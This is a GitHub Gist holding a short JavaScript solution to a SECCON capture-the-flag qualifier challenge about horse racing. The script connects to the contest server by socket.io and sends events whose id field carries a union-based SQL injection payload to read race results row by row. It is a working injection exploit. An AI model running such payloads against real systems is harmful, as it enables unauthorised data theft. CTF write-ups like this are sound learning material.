Last active
January 4, 2016 13:29
-
-
Save tyage/8628077 to your computer and use it in GitHub Desktop.
seccon quals seccon競馬 writeup
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var socket = io.connect('http://133.242.52.129'); | |
for(p in socket_routes){ | |
socket.on(p, (function(p) { | |
return function(message){ | |
console.log(message.data && 'waku:' + message.data.id, message.data && 'rank:' + message.data.seq) | |
}; | |
})(p)); | |
} | |
for (var i=0;i<17;++i) { | |
socket.emit('get_race_info', {id: "-1 union all select waku,rank,null,null,null,null,null from result where race_id=0 limit "+i+",1 --"}); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment